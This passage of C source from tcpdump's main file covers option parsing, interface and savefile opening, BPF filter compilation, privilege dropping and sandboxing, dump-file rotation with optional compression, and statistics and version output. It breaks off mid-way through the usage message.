ndo->ndo_snaplen < 0 || ndo->ndo_snaplen > MAXIMUM_SNAPLEN) error("invalid snaplen %s", optarg); else if (ndo->ndo_snaplen == 0) ndo->ndo_snaplen = MAXIMUM_SNAPLEN; break; case 'S': ++ndo->ndo_Sflag; break; case 't': ++ndo->ndo_tflag; break; case 'T': if (ascii_strcasecmp(optarg, "vat") == 0) ndo->ndo_packettype = PT_VAT; else if (ascii_strcasecmp(optarg, "wb") == 0) ndo->ndo_packettype = PT_WB; else if (ascii_strcasecmp(optarg, "rpc") == 0) ndo->ndo_packettype = PT_RPC; else if (ascii_strcasecmp(optarg, "rtp") == 0) ndo->ndo_packettype = PT_RTP; else if (ascii_strcasecmp(optarg, "rtcp") == 0) ndo->ndo_packettype = PT_RTCP; else if (ascii_strcasecmp(optarg, "snmp") == 0) ndo->ndo_packettype = PT_SNMP; else if (ascii_strcasecmp(optarg, "cnfp") == 0) ndo->ndo_packettype = PT_CNFP; else if (ascii_strcasecmp(optarg, "tftp") == 0) ndo->ndo_packettype = PT_TFTP; else if (ascii_strcasecmp(optarg, "aodv") == 0) ndo->ndo_packettype = PT_AODV; else if (ascii_strcasecmp(optarg, "carp") == 0) ndo->ndo_packettype = PT_CARP; else if (ascii_strcasecmp(optarg, "radius") == 0) ndo->ndo_packettype = PT_RADIUS; else if (ascii_strcasecmp(optarg, "zmtp1") == 0) ndo->ndo_packettype = PT_ZMTP1; else if (ascii_strcasecmp(optarg, "vxlan") == 0) ndo->ndo_packettype = PT_VXLAN; else if (ascii_strcasecmp(optarg, "pgm") == 0) ndo->ndo_packettype = PT_PGM; else if (ascii_strcasecmp(optarg, "pgm_zmtp1") == 0) ndo->ndo_packettype = PT_PGM_ZMTP1; else if (ascii_strcasecmp(optarg, "lmp") == 0) ndo->ndo_packettype = PT_LMP; else if (ascii_strcasecmp(optarg, "resp") == 0) ndo->ndo_packettype = PT_RESP; else error("unknown packet type `%s'", optarg); break; case 'u': ++ndo->ndo_uflag; break; #ifdef HAVE_PCAP_DUMP_FLUSH case 'U': ++Uflag; break; #endif case 'v': ++ndo->ndo_vflag; break; case 'V': VFileName = optarg; break; case 'w': WFileName = optarg; break; case 'W': Wflag = atoi(optarg); if (Wflag <= 0) error("invalid number of output files %s", optarg); WflagChars = getWflagChars(Wflag); break; case 'x': ++ndo->ndo_xflag; ++ndo->ndo_suppress_default_print; break; case 'X': ++ndo->ndo_Xflag; ++ndo->ndo_suppress_default_print; break; case 'y': yflag_dlt_name = optarg; yflag_dlt = pcap_datalink_name_to_val(yflag_dlt_name); if (yflag_dlt < 0) error("invalid data link type %s", yflag_dlt_name); break; #ifdef HAVE_PCAP_SET_PARSER_DEBUG case 'Y': { /* Undocumented flag */ pcap_set_parser_debug(1); } break; #endif case 'z': zflag = optarg; break; case 'Z': username = optarg; break; case '#': ndo->ndo_packet_number = 1; break; case OPTION_VERSION: print_version(); exit_tcpdump(0); break; #ifdef HAVE_PCAP_SET_TSTAMP_PRECISION case OPTION_TSTAMP_PRECISION: ndo->ndo_tstamp_precision = tstamp_precision_from_string(optarg); if (ndo->ndo_tstamp_precision < 0) error("unsupported time stamp precision"); break; #endif #ifdef HAVE_PCAP_SET_IMMEDIATE_MODE case OPTION_IMMEDIATE_MODE: immediate_mode = 1; break; #endif default: print_usage(); exit_tcpdump(1); /* NOTREACHED */ } #ifdef HAVE_PCAP_FINDALLDEVS if (Dflag) show_devices_and_exit(); #endif switch (ndo->ndo_tflag) { case 0: /* Default */ case 4: /* Default + Date*/ timezone_offset = gmt2local(0); break; case 1: /* No time stamp */ case 2: /* Unix timeval style */ case 3: /* Microseconds since previous packet */ case 5: /* Microseconds since first packet */ break; default: /* Not supported */ error("only -t, -tt, -ttt, -tttt and -ttttt are supported"); break; } if (ndo->ndo_fflag != 0 && (VFileName != NULL || RFileName != NULL)) error("-f can not be used with -V or -r"); if (VFileName != NULL && RFileName != NULL) error("-V and -r are mutually exclusive."); #ifdef HAVE_PCAP_SET_IMMEDIATE_MODE /* * If we're printing dissected packets to the standard output * rather than saving raw packets to a file, and the standard * output is a terminal, use immediate mode, as the user's * probably expecting to see packets pop up immediately. */ if (WFileName == NULL && isatty(1)) immediate_mode = 1; #endif #ifdef WITH_CHROOT /* if run as root, prepare for chrooting */ if (getuid() == 0 || geteuid() == 0) { /* future extensibility for cmd-line arguments */ if (!chroot_dir) chroot_dir = WITH_CHROOT; } #endif #ifdef WITH_USER /* if run as root, prepare for dropping root privileges */ if (getuid() == 0 || geteuid() == 0) { /* Run with '-Z root' to restore old behaviour */ if (!username) username = WITH_USER; } #endif if (RFileName != NULL || VFileName != NULL) { /* * If RFileName is non-null, it's the pathname of a * savefile to read. If VFileName is non-null, it's * the pathname of a file containing a list of pathnames * (one per line) of savefiles to read. * * In either case, we're reading a savefile, not doing * a live capture. */ #ifndef _WIN32 /* * We don't need network access, so relinquish any set-UID * or set-GID privileges we have (if any). * * We do *not* want set-UID privileges when opening a * trace file, as that might let the user read other * people's trace files (especially if we're set-UID * root). */ if (setgid(getgid()) != 0 || setuid(getuid()) != 0 ) fprintf(stderr, "Warning: setgid/setuid failed !\n"); #endif /* _WIN32 */ if (VFileName != NULL) { if (VFileName[0] == '-' && VFileName[1] == '\0') VFile = stdin; else VFile = fopen(VFileName, "r"); if (VFile == NULL) error("Unable to open file: %s\n", pcap_strerror(errno)); ret = get_next_file(VFile, VFileLine); if (!ret) error("Nothing in %s\n", VFileName); RFileName = VFileLine; } #ifdef HAVE_PCAP_SET_TSTAMP_PRECISION pd = pcap_open_offline_with_tstamp_precision(RFileName, ndo->ndo_tstamp_precision, ebuf); #else pd = pcap_open_offline(RFileName, ebuf); #endif if (pd == NULL) error("%s", ebuf); #ifdef HAVE_CAPSICUM cap_rights_init(&rights, CAP_READ); if (cap_rights_limit(fileno(pcap_file(pd)), &rights) < 0 && errno != ENOSYS) { error("unable to limit pcap descriptor"); } #endif dlt = pcap_datalink(pd); dlt_name = pcap_datalink_val_to_name(dlt); if (dlt_name == NULL) { fprintf(stderr, "reading from file %s, link-type %u\n", RFileName, dlt); } else { fprintf(stderr, "reading from file %s, link-type %s (%s)\n", RFileName, dlt_name, pcap_datalink_val_to_description(dlt)); } } else { /* * We're doing a live capture. */ if (device == NULL) { /* * No interface was specified. Pick one. */ #ifdef HAVE_PCAP_FINDALLDEVS /* * Find the list of interfaces, and pick * the first interface. */ if (pcap_findalldevs(&devlist, ebuf) >= 0 && devlist != NULL) { device = strdup(devlist->name); pcap_freealldevs(devlist); } #else /* HAVE_PCAP_FINDALLDEVS */ /* * Use whatever interface pcap_lookupdev() * chooses. */ device = pcap_lookupdev(ebuf); #endif if (device == NULL) error("%s", ebuf); } /* * Try to open the interface with the specified name. */ pd = open_interface(device, ndo, ebuf); if (pd == NULL) { /* * That failed. If we can get a list of * interfaces, and the interface name * is purely numeric, try to use it as * a 1-based index in the list of * interfaces. */ #ifdef HAVE_PCAP_FINDALLDEVS devnum = parse_interface_number(device); if (devnum == -1) { /* * It's not a number; just report * the open error and fail. */ error("%s", ebuf); } /* * OK, it's a number; try to find the * interface with that index, and try * to open it. * * find_interface_by_number() exits if it * couldn't be found. */ device = find_interface_by_number(devnum); pd = open_interface(device, ndo, ebuf); if (pd == NULL) error("%s", ebuf); #else /* HAVE_PCAP_FINDALLDEVS */ /* * We can't get a list of interfaces; just * fail. */ error("%s", ebuf); #endif /* HAVE_PCAP_FINDALLDEVS */ } /* * Let user own process after socket has been opened. */ #ifndef _WIN32 if (setgid(getgid()) != 0 || setuid(getuid()) != 0) fprintf(stderr, "Warning: setgid/setuid failed !\n"); #endif /* _WIN32 */ #if !defined(HAVE_PCAP_CREATE) && defined(_WIN32) if(Bflag != 0) if(pcap_setbuff(pd, Bflag)==-1){ error("%s", pcap_geterr(pd)); } #endif /* !defined(HAVE_PCAP_CREATE) && defined(_WIN32) */ if (Lflag) show_dlts_and_exit(pd, device); if (yflag_dlt >= 0) { #ifdef HAVE_PCAP_SET_DATALINK if (pcap_set_datalink(pd, yflag_dlt) < 0) error("%s", pcap_geterr(pd)); #else /* * We don't actually support changing the * data link type, so we only let them * set it to what it already is. */ if (yflag_dlt != pcap_datalink(pd)) { error("%s is not one of the DLTs supported by this device\n", yflag_dlt_name); } #endif (void)fprintf(stderr, "%s: data link type %s\n", program_name, yflag_dlt_name); (void)fflush(stderr); } i = pcap_snapshot(pd); if (ndo->ndo_snaplen < i) { warning("snaplen raised from %d to %d", ndo->ndo_snaplen, i); ndo->ndo_snaplen = i; } if(ndo->ndo_fflag != 0) { if (pcap_lookupnet(device, &localnet, &netmask, ebuf) < 0) { warning("foreign (-f) flag used but: %s", ebuf); } } } if (infile) cmdbuf = read_infile(infile); else cmdbuf = copy_argv(&argv[optind]); #ifdef HAVE_PCAP_SET_OPTIMIZER_DEBUG pcap_set_optimizer_debug(dflag); #endif if (pcap_compile(pd, &fcode, cmdbuf, Oflag, netmask) < 0) error("%s", pcap_geterr(pd)); if (dflag) { bpf_dump(&fcode, dflag); pcap_close(pd); free(cmdbuf); pcap_freecode(&fcode); exit_tcpdump(0); } init_print(ndo, localnet, netmask, timezone_offset); #ifndef _WIN32 (void)setsignal(SIGPIPE, cleanup); (void)setsignal(SIGTERM, cleanup); (void)setsignal(SIGINT, cleanup); #endif /* _WIN32 */ #if defined(HAVE_FORK) || defined(HAVE_VFORK) (void)setsignal(SIGCHLD, child_cleanup); #endif /* Cooperate with nohup(1) */ #ifndef _WIN32 if ((oldhandler = setsignal(SIGHUP, cleanup)) != SIG_DFL) (void)setsignal(SIGHUP, oldhandler); #endif /* _WIN32 */ #ifndef _WIN32 /* * If a user name was specified with "-Z", attempt to switch to * that user's UID. This would probably be used with sudo, * to allow tcpdump to be run in a special restricted * account (if you just want to allow users to open capture * devices, and can't just give users that permission, * you'd make tcpdump set-UID or set-GID). * * Tcpdump doesn't necessarily write only to one savefile; * the general only way to allow a -Z instance to write to * savefiles as the user under whose UID it's run, rather * than as the user specified with -Z, would thus be to switch * to the original user ID before opening a capture file and * then switch back to the -Z user ID after opening the savefile. * Switching to the -Z user ID only after opening the first * savefile doesn't handle the general case. */ if (getuid() == 0 || geteuid() == 0) { #ifdef HAVE_LIBCAP_NG /* Initialize capng */ capng_clear(CAPNG_SELECT_BOTH); if (username) { capng_updatev( CAPNG_ADD, CAPNG_PERMITTED | CAPNG_EFFECTIVE, CAP_SETUID, CAP_SETGID, -1); } if (chroot_dir) { capng_update( CAPNG_ADD, CAPNG_PERMITTED | CAPNG_EFFECTIVE, CAP_SYS_CHROOT ); } if (WFileName) { capng_update( CAPNG_ADD, CAPNG_PERMITTED | CAPNG_EFFECTIVE, CAP_DAC_OVERRIDE ); } capng_apply(CAPNG_SELECT_BOTH); #endif /* HAVE_LIBCAP_NG */ if (username || chroot_dir) droproot(username, chroot_dir); } #endif /* _WIN32 */ if (pcap_setfilter(pd, &fcode) < 0) error("%s", pcap_geterr(pd)); #ifdef HAVE_CAPSICUM if (RFileName == NULL && VFileName == NULL) { static const unsigned long cmds[] = { BIOCGSTATS, BIOCROTZBUF }; /* * The various libpcap devices use a combination of * read (bpf), ioctl (bpf, netmap), poll (netmap) * so we add the relevant access rights. */ cap_rights_init(&rights, CAP_IOCTL, CAP_READ, CAP_EVENT); if (cap_rights_limit(pcap_fileno(pd), &rights) < 0 && errno != ENOSYS) { error("unable to limit pcap descriptor"); } if (cap_ioctls_limit(pcap_fileno(pd), cmds, sizeof(cmds) / sizeof(cmds[0])) < 0 && errno != ENOSYS) { error("unable to limit ioctls on pcap descriptor"); } } #endif if (WFileName) { pcap_dumper_t *p; /* Do not exceed the default PATH_MAX for files. */ dumpinfo.CurrentFileName = (char *)malloc(PATH_MAX + 1); if (dumpinfo.CurrentFileName == NULL) error("malloc of dumpinfo.CurrentFileName"); /* We do not need numbering for dumpfiles if Cflag isn't set. */ if (Cflag != 0) MakeFilename(dumpinfo.CurrentFileName, WFileName, 0, WflagChars); else MakeFilename(dumpinfo.CurrentFileName, WFileName, 0, 0); p = pcap_dump_open(pd, dumpinfo.CurrentFileName); #ifdef HAVE_LIBCAP_NG /* Give up CAP_DAC_OVERRIDE capability. * Only allow it to be restored if the -C or -G flag have been * set since we may need to create more files later on. */ capng_update( CAPNG_DROP, (Cflag || Gflag ? 0 : CAPNG_PERMITTED) | CAPNG_EFFECTIVE, CAP_DAC_OVERRIDE ); capng_apply(CAPNG_SELECT_BOTH); #endif /* HAVE_LIBCAP_NG */ if (p == NULL) error("%s", pcap_geterr(pd)); #ifdef HAVE_CAPSICUM set_dumper_capsicum_rights(p); #endif if (Cflag != 0 || Gflag != 0) { #ifdef HAVE_CAPSICUM dumpinfo.WFileName = strdup(basename(WFileName)); if (dumpinfo.WFileName == NULL) { error("Unable to allocate memory for file %s", WFileName); } dumpinfo.dirfd = open(dirname(WFileName), O_DIRECTORY | O_RDONLY); if (dumpinfo.dirfd < 0) { error("unable to open directory %s", dirname(WFileName)); } cap_rights_init(&rights, CAP_CREATE, CAP_FCNTL, CAP_FTRUNCATE, CAP_LOOKUP, CAP_SEEK, CAP_WRITE); if (cap_rights_limit(dumpinfo.dirfd, &rights) < 0 && errno != ENOSYS) { error("unable to limit directory rights"); } if (cap_fcntls_limit(dumpinfo.dirfd, CAP_FCNTL_GETFL) < 0 && errno != ENOSYS) { error("unable to limit dump descriptor fcntls"); } #else /* !HAVE_CAPSICUM */ dumpinfo.WFileName = WFileName; #endif callback = dump_packet_and_trunc; dumpinfo.pd = pd; dumpinfo.p = p; pcap_userdata = (u_char *)&dumpinfo; } else { callback = dump_packet; pcap_userdata = (u_char *)p; } #ifdef HAVE_PCAP_DUMP_FLUSH if (Uflag) pcap_dump_flush(p); #endif } else { dlt = pcap_datalink(pd); ndo->ndo_if_printer = get_if_printer(ndo, dlt); callback = print_packet; pcap_userdata = (u_char *)ndo; } #ifdef SIGNAL_REQ_INFO /* * We can't get statistics when reading from a file rather * than capturing from a device. */ if (RFileName == NULL) (void)setsignal(SIGNAL_REQ_INFO, requestinfo); #endif if (ndo->ndo_vflag > 0 && WFileName) { /* * When capturing to a file, "-v" means tcpdump should, * every 10 seconds, "v"erbosely report the number of * packets captured. */ #ifdef USE_WIN32_MM_TIMER /* call verbose_stats_dump() each 1000 +/-100msec */ timer_id = timeSetEvent(1000, 100, verbose_stats_dump, 0, TIME_PERIODIC); setvbuf(stderr, NULL, _IONBF, 0); #elif defined(HAVE_ALARM) (void)setsignal(SIGALRM, verbose_stats_dump); alarm(1); #endif } if (RFileName == NULL) { /* * Live capture (if -V was specified, we set RFileName * to a file from the -V file). Print a message to * the standard error on UN*X. */ if (!ndo->ndo_vflag && !WFileName) { (void)fprintf(stderr, "%s: verbose output suppressed, use -v or -vv for full protocol decode\n", program_name); } else (void)fprintf(stderr, "%s: ", program_name); dlt = pcap_datalink(pd); dlt_name = pcap_datalink_val_to_name(dlt); if (dlt_name == NULL) { (void)fprintf(stderr, "listening on %s, link-type %u, capture size %u bytes\n", device, dlt, ndo->ndo_snaplen); } else { (void)fprintf(stderr, "listening on %s, link-type %s (%s), capture size %u bytes\n", device, dlt_name, pcap_datalink_val_to_description(dlt), ndo->ndo_snaplen); } (void)fflush(stderr); } #ifdef HAVE_CAPSICUM cansandbox = (ndo->ndo_nflag && VFileName == NULL && zflag == NULL); if (cansandbox && cap_enter() < 0 && errno != ENOSYS) error("unable to enter the capability mode"); #endif /* HAVE_CAPSICUM */ do { status = pcap_loop(pd, cnt, callback, pcap_userdata); if (WFileName == NULL) { /* * We're printing packets. Flush the printed output, * so it doesn't get intermingled with error output. */ if (status == -2) { /* * We got interrupted, so perhaps we didn't * manage to finish a line we were printing. * Print an extra newline, just in case. */ putchar('\n'); } (void)fflush(stdout); } if (status == -2) { /* * We got interrupted. If we are reading multiple * files (via -V) set these so that we stop. */ VFileName = NULL; ret = NULL; } if (status == -1) { /* * Error. Report it. */ (void)fprintf(stderr, "%s: pcap_loop: %s\n", program_name, pcap_geterr(pd)); } if (RFileName == NULL) { /* * We're doing a live capture. Report the capture * statistics. */ info(1); } pcap_close(pd); if (VFileName != NULL) { ret = get_next_file(VFile, VFileLine); if (ret) { int new_dlt; RFileName = VFileLine; pd = pcap_open_offline(RFileName, ebuf); if (pd == NULL) error("%s", ebuf); #ifdef HAVE_CAPSICUM cap_rights_init(&rights, CAP_READ); if (cap_rights_limit(fileno(pcap_file(pd)), &rights) < 0 && errno != ENOSYS) { error("unable to limit pcap descriptor"); } #endif new_dlt = pcap_datalink(pd); if (new_dlt != dlt) { /* * The new file has a different * link-layer header type from the * previous one. */ if (WFileName != NULL) { /* * We're writing raw packets * that match the filter to * a pcap file. pcap files * don't support multiple * different link-layer * header types, so we fail * here. */ error("%s: new dlt does not match original", RFileName); } /* * We're printing the decoded packets; * switch to the new DLT. * * To do that, we need to change * the printer, change the DLT name, * and recompile the filter with * the new DLT. */ dlt = new_dlt; ndo->ndo_if_printer = get_if_printer(ndo, dlt); if (pcap_compile(pd, &fcode, cmdbuf, Oflag, netmask) < 0) error("%s", pcap_geterr(pd)); } /* * Set the filter on the new file. */ if (pcap_setfilter(pd, &fcode) < 0) error("%s", pcap_geterr(pd)); /* * Report the new file. */ dlt_name = pcap_datalink_val_to_name(dlt); if (dlt_name == NULL) { fprintf(stderr, "reading from file %s, link-type %u\n", RFileName, dlt); } else { fprintf(stderr, "reading from file %s, link-type %s (%s)\n", RFileName, dlt_name, pcap_datalink_val_to_description(dlt)); } } } } while (ret != NULL); free(cmdbuf); pcap_freecode(&fcode); exit_tcpdump(status == -1 ? 1 : 0); } /* make a clean exit on interrupts */ static RETSIGTYPE cleanup(int signo _U_) { #ifdef USE_WIN32_MM_TIMER if (timer_id) timeKillEvent(timer_id); timer_id = 0; #elif defined(HAVE_ALARM) alarm(0); #endif #ifdef HAVE_PCAP_BREAKLOOP /* * We have "pcap_breakloop()"; use it, so that we do as little * as possible in the signal handler (it's probably not safe * to do anything with standard I/O streams in a signal handler - * the ANSI C standard doesn't say it is). */ pcap_breakloop(pd); #else /* * We don't have "pcap_breakloop()"; this isn't safe, but * it's the best we can do. Print the summary if we're * not reading from a savefile - i.e., if we're doing a * live capture - and exit. */ if (pd != NULL && pcap_file(pd) == NULL) { /* * We got interrupted, so perhaps we didn't * manage to finish a line we were printing. * Print an extra newline, just in case. */ putchar('\n'); (void)fflush(stdout); info(1); } exit_tcpdump(0); #endif } /* On windows, we do not use a fork, so we do not care less about waiting a child processes to die */ #if defined(HAVE_FORK) || defined(HAVE_VFORK) static RETSIGTYPE child_cleanup(int signo _U_) { wait(NULL); } #endif /* HAVE_FORK && HAVE_VFORK */ static void info(register int verbose) { struct pcap_stat stats; /* * Older versions of libpcap didn't set ps_ifdrop on some * platforms; initialize it to 0 to handle that. */ stats.ps_ifdrop = 0; if (pcap_stats(pd, &stats) < 0) { (void)fprintf(stderr, "pcap_stats: %s\n", pcap_geterr(pd)); infoprint = 0; return; } if (!verbose) fprintf(stderr, "%s: ", program_name); (void)fprintf(stderr, "%u packet%s captured", packets_captured, PLURAL_SUFFIX(packets_captured)); if (!verbose) fputs(", ", stderr); else putc('\n', stderr); (void)fprintf(stderr, "%u packet%s received by filter", stats.ps_recv, PLURAL_SUFFIX(stats.ps_recv)); if (!verbose) fputs(", ", stderr); else putc('\n', stderr); (void)fprintf(stderr, "%u packet%s dropped by kernel", stats.ps_drop, PLURAL_SUFFIX(stats.ps_drop)); if (stats.ps_ifdrop != 0) { if (!verbose) fputs(", ", stderr); else putc('\n', stderr); (void)fprintf(stderr, "%u packet%s dropped by interface\n", stats.ps_ifdrop, PLURAL_SUFFIX(stats.ps_ifdrop)); } else putc('\n', stderr); infoprint = 0; } #if defined(HAVE_FORK) || defined(HAVE_VFORK) #ifdef HAVE_FORK #define fork_subprocess() fork() #else #define fork_subprocess() vfork() #endif static void compress_savefile(const char *filename) { pid_t child; child = fork_subprocess(); if (child == -1) { fprintf(stderr, "compress_savefile: fork failed: %s\n", pcap_strerror(errno)); return; } if (child != 0) { /* Parent process. */ return; } /* * Child process. * Set to lowest priority so that this doesn't disturb the capture. */ #ifdef NZERO setpriority(PRIO_PROCESS, 0, NZERO - 1); #else setpriority(PRIO_PROCESS, 0, 19); #endif if (execlp(zflag, zflag, filename, (char *)NULL) == -1) fprintf(stderr, "compress_savefile: execlp(%s, %s) failed: %s\n", zflag, filename, pcap_strerror(errno)); #ifdef HAVE_FORK exit(1); #else _exit(1); #endif } #else /* HAVE_FORK && HAVE_VFORK */ static void compress_savefile(const char *filename) { fprintf(stderr, "compress_savefile failed. Functionality not implemented under your system\n"); } #endif /* HAVE_FORK && HAVE_VFORK */ static void dump_packet_and_trunc(u_char *user, const struct pcap_pkthdr *h, const u_char *sp) { struct dump_info *dump_info; ++packets_captured; ++infodelay; dump_info = (struct dump_info *)user; /* * XXX - this won't force the file to rotate on the specified time * boundary, but it will rotate on the first packet received after the * specified Gflag number of seconds. Note: if a Gflag time boundary * and a Cflag size boundary coincide, the time rotation will occur * first thereby cancelling the Cflag boundary (since the file should * be 0). */ if (Gflag != 0) { /* Check if it is time to rotate */ time_t t; /* Get the current time */ if ((t = time(NULL)) == (time_t)-1) { error("dump_and_trunc_packet: can't get current_time: %s", pcap_strerror(errno)); } /* If the time is greater than the specified window, rotate */ if (t - Gflag_time >= Gflag) { #ifdef HAVE_CAPSICUM FILE *fp; int fd; #endif /* Update the Gflag_time */ Gflag_time = t; /* Update Gflag_count */ Gflag_count++; /* * Close the current file and open a new one. */ pcap_dump_close(dump_info->p); /* * Compress the file we just closed, if the user asked for it */ if (zflag != NULL) compress_savefile(dump_info->CurrentFileName); /* * Check to see if we've exceeded the Wflag (when * not using Cflag). */ if (Cflag == 0 && Wflag > 0 && Gflag_count >= Wflag) { (void)fprintf(stderr, "Maximum file limit reached: %d\n", Wflag); info(1); exit_tcpdump(0); /* NOTREACHED */ } if (dump_info->CurrentFileName != NULL) free(dump_info->CurrentFileName); /* Allocate space for max filename + \0. */ dump_info->CurrentFileName = (char *)malloc(PATH_MAX + 1); if (dump_info->CurrentFileName == NULL) error("dump_packet_and_trunc: malloc"); /* * Gflag was set otherwise we wouldn't be here. Reset the count * so multiple files would end with 1,2,3 in the filename. * The counting is handled with the -C flow after this. */ Cflag_count = 0; /* * This is always the first file in the Cflag * rotation: e.g. 0 * We also don't need numbering if Cflag is not set. */ if (Cflag != 0) MakeFilename(dump_info->CurrentFileName, dump_info->WFileName, 0, WflagChars); else MakeFilename(dump_info->CurrentFileName, dump_info->WFileName, 0, 0); #ifdef HAVE_LIBCAP_NG capng_update(CAPNG_ADD, CAPNG_EFFECTIVE, CAP_DAC_OVERRIDE); capng_apply(CAPNG_SELECT_BOTH); #endif /* HAVE_LIBCAP_NG */ #ifdef HAVE_CAPSICUM fd = openat(dump_info->dirfd, dump_info->CurrentFileName, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) { error("unable to open file %s", dump_info->CurrentFileName); } fp = fdopen(fd, "w"); if (fp == NULL) { error("unable to fdopen file %s", dump_info->CurrentFileName); } dump_info->p = pcap_dump_fopen(dump_info->pd, fp); #else /* !HAVE_CAPSICUM */ dump_info->p = pcap_dump_open(dump_info->pd, dump_info->CurrentFileName); #endif #ifdef HAVE_LIBCAP_NG capng_update(CAPNG_DROP, CAPNG_EFFECTIVE, CAP_DAC_OVERRIDE); capng_apply(CAPNG_SELECT_BOTH); #endif /* HAVE_LIBCAP_NG */ if (dump_info->p == NULL) error("%s", pcap_geterr(pd)); #ifdef HAVE_CAPSICUM set_dumper_capsicum_rights(dump_info->p); #endif } } /* * XXX - this won't prevent capture files from getting * larger than Cflag - the last packet written to the * file could put it over Cflag. */ if (Cflag != 0) { long size = pcap_dump_ftell(dump_info->p); if (size == -1) error("ftell fails on output file"); if (size > Cflag) { #ifdef HAVE_CAPSICUM FILE *fp; int fd; #endif /* * Close the current file and open a new one. */ pcap_dump_close(dump_info->p); /* * Compress the file we just closed, if the user * asked for it. */ if (zflag != NULL) compress_savefile(dump_info->CurrentFileName); Cflag_count++; if (Wflag > 0) { if (Cflag_count >= Wflag) Cflag_count = 0; } if (dump_info->CurrentFileName != NULL) free(dump_info->CurrentFileName); dump_info->CurrentFileName = (char *)malloc(PATH_MAX + 1); if (dump_info->CurrentFileName == NULL) error("dump_packet_and_trunc: malloc"); MakeFilename(dump_info->CurrentFileName, dump_info->WFileName, Cflag_count, WflagChars); #ifdef HAVE_LIBCAP_NG capng_update(CAPNG_ADD, CAPNG_EFFECTIVE, CAP_DAC_OVERRIDE); capng_apply(CAPNG_SELECT_BOTH); #endif /* HAVE_LIBCAP_NG */ #ifdef HAVE_CAPSICUM fd = openat(dump_info->dirfd, dump_info->CurrentFileName, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) { error("unable to open file %s", dump_info->CurrentFileName); } fp = fdopen(fd, "w"); if (fp == NULL) { error("unable to fdopen file %s", dump_info->CurrentFileName); } dump_info->p = pcap_dump_fopen(dump_info->pd, fp); #else /* !HAVE_CAPSICUM */ dump_info->p = pcap_dump_open(dump_info->pd, dump_info->CurrentFileName); #endif #ifdef HAVE_LIBCAP_NG capng_update(CAPNG_DROP, CAPNG_EFFECTIVE, CAP_DAC_OVERRIDE); capng_apply(CAPNG_SELECT_BOTH); #endif /* HAVE_LIBCAP_NG */ if (dump_info->p == NULL) error("%s", pcap_geterr(pd)); #ifdef HAVE_CAPSICUM set_dumper_capsicum_rights(dump_info->p); #endif } } pcap_dump((u_char *)dump_info->p, h, sp); #ifdef HAVE_PCAP_DUMP_FLUSH if (Uflag) pcap_dump_flush(dump_info->p); #endif --infodelay; if (infoprint) info(0); } static void dump_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp) { ++packets_captured; ++infodelay; pcap_dump(user, h, sp); #ifdef HAVE_PCAP_DUMP_FLUSH if (Uflag) pcap_dump_flush((pcap_dumper_t *)user); #endif --infodelay; if (infoprint) info(0); } static void print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp) { ++packets_captured; ++infodelay; pretty_print_packet((netdissect_options *)user, h, sp, packets_captured); --infodelay; if (infoprint) info(0); } #ifdef _WIN32 /* * XXX - there should really be libpcap calls to get the version * number as a string (the string would be generated from #defines * at run time, so that it's not generated from string constants * in the library, as, on many UNIX systems, those constants would * be statically linked into the application executable image, and * would thus reflect the version of libpcap on the system on * which the application was *linked*, not the system on which it's * *running*. * * That routine should be documented, unlike the "version[]" * string, so that UNIX vendors providing their own libpcaps * don't omit it (as a couple of vendors have...). * * Packet.dll should perhaps also export a routine to return the * version number of the Packet.dll code, to supply the * "Wpcap_version" information on Windows. */ char WDversion[]="current-git.tcpdump.org"; #if !defined(HAVE_GENERATED_VERSION) char version[]="current-git.tcpdump.org"; #endif char pcap_version[]="current-git.tcpdump.org"; char Wpcap_version[]="3.1"; #endif #ifdef SIGNAL_REQ_INFO RETSIGTYPE requestinfo(int signo _U_) { if (infodelay) ++infoprint; else info(0); } #endif /* * Called once each second in verbose mode while dumping to file */ #ifdef USE_WIN32_MM_TIMER void CALLBACK verbose_stats_dump (UINT timer_id _U_, UINT msg _U_, DWORD_PTR arg _U_, DWORD_PTR dw1 _U_, DWORD_PTR dw2 _U_) { if (infodelay == 0) fprintf(stderr, "Got %u\r", packets_captured); } #elif defined(HAVE_ALARM) static void verbose_stats_dump(int sig _U_) { if (infodelay == 0) fprintf(stderr, "Got %u\r", packets_captured); alarm(1); } #endif USES_APPLE_DEPRECATED_API static void print_version(void) { extern char version[]; #ifndef HAVE_PCAP_LIB_VERSION #if defined(_WIN32) || defined(HAVE_PCAP_VERSION) extern char pcap_version[]; #else /* defined(_WIN32) || defined(HAVE_PCAP_VERSION) */ static char pcap_version[] = "unknown"; #endif /* defined(_WIN32) || defined(HAVE_PCAP_VERSION) */ #endif /* HAVE_PCAP_LIB_VERSION */ const char *smi_version_string; #ifdef HAVE_PCAP_LIB_VERSION #ifdef _WIN32 (void)fprintf(stderr, "%s version %s, based on tcpdump version %s\n", program_name, WDversion, version); #else /* _WIN32 */ (void)fprintf(stderr, "%s version %s\n", program_name, version); #endif /* _WIN32 */ (void)fprintf(stderr, "%s\n",pcap_lib_version()); #else /* HAVE_PCAP_LIB_VERSION */ #ifdef _WIN32 (void)fprintf(stderr, "%s version %s, based on tcpdump version %s\n", program_name, WDversion, version); (void)fprintf(stderr, "WinPcap version %s, based on libpcap version %s\n",Wpcap_version, pcap_version); #else /* _WIN32 */ (void)fprintf(stderr, "%s version %s\n", program_name, version); (void)fprintf(stderr, "libpcap version %s\n", pcap_version); #endif /* _WIN32 */ #endif /* HAVE_PCAP_LIB_VERSION */ #if defined(HAVE_LIBCRYPTO) && defined(SSLEAY_VERSION) (void)fprintf (stderr, "%s\n", SSLeay_version(SSLEAY_VERSION)); #endif smi_version_string = nd_smi_version_string(); if (smi_version_string != NULL) (void)fprintf (stderr, "SMI-library: %s\n", smi_version_string); #if defined(__SANITIZE_ADDRESS__) (void)fprintf (stderr, "Compiled with AddressSanitizer/GCC.\n"); #elif defined(__has_feature) # if __has_feature(address_sanitizer) (void)fprintf (stderr, "Compiled with AddressSanitizer/CLang.\n"); # endif #endif /* __SANITIZE_ADDRESS__ or __has_feature */ } USES_APPLE_RST static void print_usage(void) { print_version(); (void)fprintf(stderr, "Usage: %s [-aAbd" D_FLAG "efhH" I_FLAG J_FLAG "KlLnNOpqStu" U_FLAG "vxX#]" B_FLAG_USAGE " [ -c count ]\n", program_name); (void)fprintf(stderr, "\t\t[ -C file_size ] [ -E algo:secret ] [ -F file ] [ -G seconds ]\n"); (void)fprintf(stderr, "\t\t[ -i interface ]" j_FLAG_USAGE " [ -M secret ] [ --number 